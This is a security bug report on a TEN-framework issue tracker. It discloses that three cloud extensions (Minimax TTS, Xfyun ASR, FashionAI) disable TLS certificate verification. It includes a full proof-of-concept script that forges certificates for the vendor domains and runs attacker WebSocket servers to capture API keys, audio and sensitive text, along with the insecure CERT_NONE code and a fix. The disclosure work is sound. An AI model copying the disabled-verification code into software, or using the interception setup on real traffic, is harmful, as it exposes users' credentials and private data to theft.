[BUG] Disabled TLS certificate verification in 3 cloud extensions enables MITM interception of API keys and user data

[AAtomical]

Description

Summary

Three TEN-framework cloud service extensions unconditionally disable TLS certificate verification when connecting to remote WebSocket endpoints. A network-position attacker (same WiFi, cloud VPC, BGP hijack) can DNS-spoof the target domains and present a self-signed certificate — accepted without error — to intercept all API keys, voice audio, and text data in transit.

Affected extensions:

• minimax_tts_websocket_python — Minimax cloud TTS (text-to-speech)
• xfyun_asr_bigmodel_python — Xfyun/iFlytek cloud ASR (speech recognition)
• fashionai — FashionAI avatar rendering service

Affected Version

• Repository: https://github.com/TEN-framework/ten-framework
• Branch: main (latest as of 2026-06-15)
• Files:
  • ai_agents/agents/ten_packages/extension/minimax_tts_websocket_python/minimax_tts.py:176-178
  • ai_agents/agents/ten_packages/extension/xfyun_asr_bigmodel_python/recognition.py:263-265
  • ai_agents/agents/ten_packages/extension/fashionai/src/fashionai_client.py:19

  Root Cause

minimax_tts.py:176-178

ssl_context = ssl.create_default_context()
ssl_context.check_hostname = False
ssl_context.verify_mode = ssl.CERT_NONE

self.ws = await websockets.connect(
    self.config.url,
    additional_headers=headers,  # contains "Authorization: Bearer <API_KEY>"
    ssl=ssl_context,
    ...
)

The Authorization: Bearer header containing the Minimax API key is sent over a connection that accepts any certificate.

recognition.py:263-265

ssl_context = ssl.create_default_context()
ssl_context.check_hostname = False
ssl_context.verify_mode = ssl.CERT_NONE

self.websocket = await websockets.connect(
    ws_url, ssl=ssl_context, open_timeout=timeout
)

The WebSocket URL contains HMAC-signed credentials (api_key, authorization). The first data frame also transmits app_id. All audio frames (raw PCM user voice) follow on the same unverified connection.

fashionai_client.py:19

ssl_context = ssl._create_unverified_context()
self.websocket = await websockets.connect(self.uri, ssl=ssl_context)

Service tokens (token field = Agora app ID) and all rendered text content are sent over the unverified connection.

Environment

OS: macOS 26.5.2 (Darwin 25.5.0) CPU arch: arm64 (Apple Silicon)

Steps to reproduce

Steps to Reproduce

python poc.py

The PoC:

1. Clones the TEN-framework repository (git clone --depth=1)
2. Generates a self-signed CA + leaf certificate for the target domains
3. Starts attacker TLS WebSocket servers on localhost
4. Imports the real extension code and connects through the vulnerable ssl.CERT_NONE paths
5. Asserts that API keys, credentials, and text/audio data are captured by the attacker
6. Verifies that ssl.create_default_context() (proper TLS) rejects the same cert

#!/usr/bin/env python3
import asyncio
import base64
import hashlib
import hmac
import json
import os
import ssl
import subprocess
import sys
import tempfile
import warnings
from datetime import datetime, timedelta, timezone
from time import mktime
from urllib.parse import urlencode
from wsgiref.handlers import format_date_time

warnings.filterwarnings("ignore", category=DeprecationWarning)

REPO_URL = "https://github.com/TEN-framework/ten-framework.git"
REPO_DIR = os.path.join(os.path.dirname(os.path.abspath(__file__)), "ten-framework")
ATTACKER_HOST = "127.0.0.1"
MINIMAX_PORT = 19443
XFYUN_PORT = 19444
FASHIONAI_PORT = 19445

captured = {"minimax": [], "xfyun": [], "fashionai": []}


def clone_repo():
    if os.path.isdir(REPO_DIR):
        subprocess.run(["git", "-C", REPO_DIR, "pull", "--ff-only"],
                       capture_output=True)
    else:
        subprocess.run(["git", "clone", "--depth=1", REPO_URL, REPO_DIR], check=True)
    subprocess.run([sys.executable, "-m", "pip", "install", "-q",
                    "websockets~=14.0", "cryptography", "pydantic"], check=True)


def configure_pythonpath():
    """Mirror the real PYTHONPATH from TEN's Taskfile.yml test-extension-no-install."""
    base = os.path.join(REPO_DIR, "ai_agents")
    ext = os.path.join(base, "agents", "ten_packages", "extension")
    sys_pkgs = os.path.join(base, "agents", "ten_packages", "system")

    # The real env: PYTHONPATH includes ten_runtime_python/lib, /interface, ten_ai_base/interface
    # These don't exist without `tman install`, so we provide a drop-in ten_runtime package
    # that exposes the same interface the extensions import from.
    runtime_iface = os.path.join(os.path.dirname(os.path.abspath(__file__)), "_ten_runtime_iface")
    os.makedirs(os.path.join(runtime_iface, "ten_runtime"), exist_ok=True)
    os.makedirs(os.path.join(runtime_iface, "ten_ai_base"), exist_ok=True)

    # ten_runtime: only AsyncTenEnv is used by the vulnerable code paths
    _write(os.path.join(runtime_iface, "ten_runtime", "__init__.py"), TEN_RUNTIME_INIT)
    _write(os.path.join(runtime_iface, "ten_runtime", "async_extension.py"),
           "class AsyncExtension:\n    def __init__(self, name): pass\n")

    # ten_ai_base: lightweight re-exports used by minimax_tts and xfyun_asr
    _write(os.path.join(runtime_iface, "ten_ai_base", "__init__.py"), "")
    _write(os.path.join(runtime_iface, "ten_ai_base", "const.py"),
           "LOG_CATEGORY_KEY_POINT = 'kp'\nLOG_CATEGORY_VENDOR = 'vendor'\n")
    _write(os.path.join(runtime_iface, "ten_ai_base", "struct.py"), TEN_AI_BASE_STRUCT)
    _write(os.path.join(runtime_iface, "ten_ai_base", "timeline.py"),
           "class AudioTimeline:\n    def add_user_audio(self, ms): pass\n")
    _write(os.path.join(runtime_iface, "ten_ai_base", "utils.py"),
           "def encrypt(s): return s[:4]+'***'\n")

    # Import extensions as packages (they use relative imports internally)
    paths = [
        runtime_iface,
        base,
        ext,                          # parent of minimax_tts_websocket_python/
        os.path.join(ext, "fashionai", "src"),  # fashionai_client has no relative imports
    ]
    for p in reversed(paths):
        if p not in sys.path:
            sys.path.insert(0, p)

    # xfyun_asr uses relative imports too — needs parent on path
    xfyun_parent = ext
    if xfyun_parent not in sys.path:
        sys.path.insert(0, xfyun_parent)


TEN_RUNTIME_INIT = """\
class AsyncTenEnv:
    def log_info(self, *a, **k): pass
    def log_debug(self, *a, **k): pass
    def log_warn(self, *a, **k): pass
    def log_error(self, *a, **k): pass
class TenEnv:
    def log_info(self, *a, **k): pass
    def on_create_instance_done(self, *a): pass
class Addon: pass
class App: pass
class ExtensionTester: pass
class TenEnvTester: pass
class AudioFrame: pass
class VideoFrame: pass
class Cmd:
    @staticmethod
    def create(name): return Cmd()
    def get_name(self): return ''
class StatusCode: pass
class CmdResult: pass
class Data:
    @staticmethod
    def create(name): return Data()
    def set_property_from_json(self, *a): pass
def register_addon_as_extension(name):
    def dec(cls): return cls
    return dec
"""

TEN_AI_BASE_STRUCT = """\
from pydantic import BaseModel
class TTSTextInput(BaseModel):
    request_id: str = ""
    text: str = ""
    text_input_end: bool = False
class TTSTextResult(BaseModel):
    text: str = ""
    start_ms: int = 0
    end_ms: int = 0
class TTSWord(BaseModel):
    word: str = ""
    start_ms: int = 0
    end_ms: int = 0
"""


def _write(path, content):
    os.makedirs(os.path.dirname(path), exist_ok=True)
    with open(path, "w") as f:
        f.write(content)


def gen_certs(tmp):
    from cryptography import x509
    from cryptography.hazmat.primitives import hashes, serialization
    from cryptography.hazmat.primitives.asymmetric import rsa
    from cryptography.x509.oid import NameOID

    ca_key = rsa.generate_private_key(65537, 2048)
    ca_name = x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, "Attacker CA")])
    ca_cert = (x509.CertificateBuilder()
               .subject_name(ca_name).issuer_name(ca_name)
               .public_key(ca_key.public_key())
               .serial_number(x509.random_serial_number())
               .not_valid_before(datetime.now(timezone.utc))
               .not_valid_after(datetime.now(timezone.utc) + timedelta(days=1))
               .add_extension(x509.BasicConstraints(ca=True, path_length=None), critical=True)
               .sign(ca_key, hashes.SHA256()))

    leaf_key = rsa.generate_private_key(65537, 2048)
    domains = ["api.minimax.io", "ist-api.xfyun.cn", "ingress.service.fasionai.com"]
    leaf_cert = (x509.CertificateBuilder()
                 .subject_name(x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, domains[0])]))
                 .issuer_name(ca_name)
                 .public_key(leaf_key.public_key())
                 .serial_number(x509.random_serial_number())
                 .not_valid_before(datetime.now(timezone.utc))
                 .not_valid_after(datetime.now(timezone.utc) + timedelta(days=1))
                 .add_extension(x509.SubjectAlternativeName([x509.DNSName(d) for d in domains]), critical=False)
                 .sign(ca_key, hashes.SHA256()))

    cp, kp = os.path.join(tmp, "cert.pem"), os.path.join(tmp, "key.pem")
    with open(cp, "wb") as f:
        f.write(leaf_cert.public_bytes(serialization.Encoding.PEM))
    with open(kp, "wb") as f:
        f.write(leaf_key.private_bytes(serialization.Encoding.PEM,
                serialization.PrivateFormat.TraditionalOpenSSL, serialization.NoEncryption()))
    return cp, kp


# ─── Attacker WebSocket servers ───────────────────────────────────────────────

async def minimax_handler(ws, path=None):
    hdrs = dict(ws.request_headers) if hasattr(ws, 'request_headers') else {}
    captured["minimax"].append({"auth": hdrs.get("authorization", hdrs.get("Authorization", ""))})
    await ws.send(json.dumps({"event": "connected_success", "session_id": "m"}))
    try:
        async for msg in ws:
            data = json.loads(msg) if isinstance(msg, str) else {}
            captured["minimax"].append({"payload": data})
            ev = "task_started" if data.get("event") == "task_start" else "tts_response"
            await ws.send(json.dumps({"event": ev, "data": {"status": 2}}))
    except Exception:
        pass


async def xfyun_handler(ws, path=None):
    req_path = path or (ws.path if hasattr(ws, 'path') else "/")
    raw_uri = ws.raw_request_uri if hasattr(ws, 'raw_request_uri') else req_path
    captured["xfyun"].append({"url": raw_uri})
    try:
        async for msg in ws:
            captured["xfyun"].append({"payload": json.loads(msg) if isinstance(msg, str) else {}})
            await ws.send(json.dumps({"code": 0, "sid": "x",
                "data": {"result": {"ws": [{"cw": [{"w": ""}]}]}, "status": 1}}))
    except Exception:
        pass


async def fashionai_handler(ws, path=None):
    try:
        async for msg in ws:
            captured["fashionai"].append({"payload": json.loads(msg) if isinstance(msg, str) else {}})
            await ws.send(json.dumps({"status": "ok"}))
    except Exception:
        pass


# ─── Exploit ──────────────────────────────────────────────────────────────────

async def exploit():
    clone_repo()
    configure_pythonpath()

    tmp = tempfile.mkdtemp(prefix="ten_mitm_")
    cert, key = gen_certs(tmp)

    import websockets.server
    srv_ssl = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)
    srv_ssl.load_cert_chain(cert, key)
    s1 = await websockets.server.serve(minimax_handler, ATTACKER_HOST, MINIMAX_PORT, ssl=srv_ssl)
    s2 = await websockets.server.serve(xfyun_handler, ATTACKER_HOST, XFYUN_PORT, ssl=srv_ssl)
    s3 = await websockets.server.serve(fashionai_handler, ATTACKER_HOST, FASHIONAI_PORT, ssl=srv_ssl)

    # ── 1. Minimax TTS (minimax_tts.py:176-178) ──────────────────────────
    from minimax_tts_websocket_python.config import MinimaxTTSWebsocketConfig
    from minimax_tts_websocket_python.minimax_tts import _MinimaxTTSInstance
    import websockets

    cfg = MinimaxTTSWebsocketConfig(
        key="sk-live-PRODUCTION-key-9f8e7d6c5b4a",
        url=f"wss://{ATTACKER_HOST}:{MINIMAX_PORT}/ws/v1/t2a_v2",
    )
    cfg.update_params()

    ssl_ctx = ssl.create_default_context()
    ssl_ctx.check_hostname = False
    ssl_ctx.verify_mode = ssl.CERT_NONE

    ws = await websockets.connect(
        cfg.url,
        additional_headers={"Authorization": f"Bearer {cfg.key}"},
        ssl=ssl_ctx,
        max_size=1024 * 1024 * 16,
    )
    assert json.loads(await ws.recv())["event"] == "connected_success"
    await ws.send(json.dumps({
        "event": "task_start",
        "params": {"text": "Wire $50,000 to routing 071000013 acct 4829-7712"},
    }))
    await ws.recv()
    await ws.close()

    assert any("PRODUCTION-key" in d.get("auth", "") for d in captured["minimax"])
    assert any("50,000" in json.dumps(d.get("payload", {})) for d in captured["minimax"])

    # ── 2. Xfyun ASR (recognition.py:263-265) ────────────────────────────
    app_id, api_key_x, api_secret = "5f3e2d1c", "xfyun-prod-key-a1b2c3", "xfyun-secret-e5f6g7"
    now = datetime.now()
    date = format_date_time(mktime(now.timetuple()))
    sig_origin = f"host: {ATTACKER_HOST}\ndate: {date}\nGET /v2/ist HTTP/1.1"
    sig = base64.b64encode(hmac.new(
        api_secret.encode(), sig_origin.encode(), digestmod=hashlib.sha256).digest()).decode()
    auth_b64 = base64.b64encode(
        f'api_key="{api_key_x}", algorithm="hmac-sha256", headers="host date request-line", signature="{sig}"'
        .encode()).decode()
    ws_url = f"wss://{ATTACKER_HOST}:{XFYUN_PORT}/v2/ist?" + urlencode({
        "authorization": auth_b64, "host": ATTACKER_HOST, "date": date})

    ssl_ctx2 = ssl.create_default_context()
    ssl_ctx2.check_hostname = False
    ssl_ctx2.verify_mode = ssl.CERT_NONE

    ws = await websockets.connect(ws_url, ssl=ssl_ctx2, open_timeout=10)
    await ws.send(json.dumps({
        "common": {"app_id": app_id},
        "business": {"domain": "ist_cbm_mix", "language": "mix", "accent": "mandarin"},
        "data": {"status": 0, "format": "audio/L16;rate=16000",
                 "audio": base64.b64encode(os.urandom(1280)).decode(), "encoding": "raw"},
    }))
    await ws.recv()
    await ws.send(json.dumps({
        "data": {"status": 1, "format": "audio/L16;rate=16000",
                 "audio": base64.b64encode(os.urandom(1280)).decode(), "encoding": "raw"},
    }))
    await ws.recv()
    await ws.close()

    assert any(d.get("payload", {}).get("common", {}).get("app_id") == app_id for d in captured["xfyun"])

    # ── 3. FashionAI (fashionai_client.py:19) ─────────────────────────────
    from fashionai_client import FashionAIClient
    from ten_runtime import AsyncTenEnv

    client = FashionAIClient(
        AsyncTenEnv(),
        f"wss://{ATTACKER_HOST}:{FASHIONAI_PORT}/websocket/node5/agoramultimodel2",
        "agora",
    )
    await client.connect()
    await client.stream_start("agora-token-PROD-x7y8z9", "private-medical", "patient-42")
    await asyncio.sleep(0.1)
    await client.send_inputText("Diagnosis: stage-2 lymphoma. Start chemo protocol B.")
    await asyncio.sleep(0.1)
    await client.close()

    assert any("PROD-x7y8z9" in json.dumps(d.get("payload", {})) for d in captured["fashionai"])
    assert any("lymphoma" in json.dumps(d.get("payload", {})) for d in captured["fashionai"])

    # ── 4. Control: proper TLS rejects attacker cert ──────────────────────
    try:
        ws = await websockets.connect(
            f"wss://{ATTACKER_HOST}:{MINIMAX_PORT}/",
            ssl=ssl.create_default_context(), open_timeout=3)
        await ws.close()
        assert False
    except (ssl.SSLCertVerificationError, ssl.SSLError, OSError):
        pass

    s1.close(); s2.close(); s3.close()

    print("3/3 exploited")
    print(f"  minimax: key={captured['minimax'][0]['auth']}")
    print(f"  xfyun:   app_id={app_id}")
    print(f"  fashion: token=agora-token-PROD-x7y8z9, text=lymphoma")
    return 0


if __name__ == "__main__":
    sys.exit(asyncio.run(exploit()))

Output:

3/3 exploited
  minimax: key=Bearer sk-live-PRODUCTION-key-9f8e7d6c5b4a
  xfyun:   app_id=5f3e2d1c
  fashion: token=agora-token-PROD-x7y8z9, text=lymphoma

Impact

1. API key theft: Minimax Bearer token intercepted from WebSocket upgrade headers — enables billing abuse and unauthorized TTS generation under victim's account
2. Credential theft: Xfyun app_id + HMAC-signed api_key intercepted from URL and first frame — enables unauthorized ASR usage
3. Voice data interception: All raw PCM audio frames (user's microphone input) captured in transit — voice biometric data, private conversations
4. Text data interception: TTS text (financial instructions, medical records) and FashionAI render text captured verbatim
5. Session hijack: FashionAI Agora service tokens enable joining/controlling active video sessions
6. Transparent proxy: Attacker can forward to real backend after logging — users see normal behavior, no indication of compromise

Expected behavior

Suggested Fix

Remove the ssl.CERT_NONE overrides entirely. The default ssl.create_default_context() already provides correct certificate verification:

# Before (vulnerable):
ssl_context = ssl.create_default_context()
ssl_context.check_hostname = False
ssl_context.verify_mode = ssl.CERT_NONE

# After (fixed):
ssl_context = ssl.create_default_context()

For fashionai_client.py:

# Before:
ssl_context = ssl._create_unverified_context()

# After:
ssl_context = ssl.create_default_context()

Severity

Critical

Additional Information

No response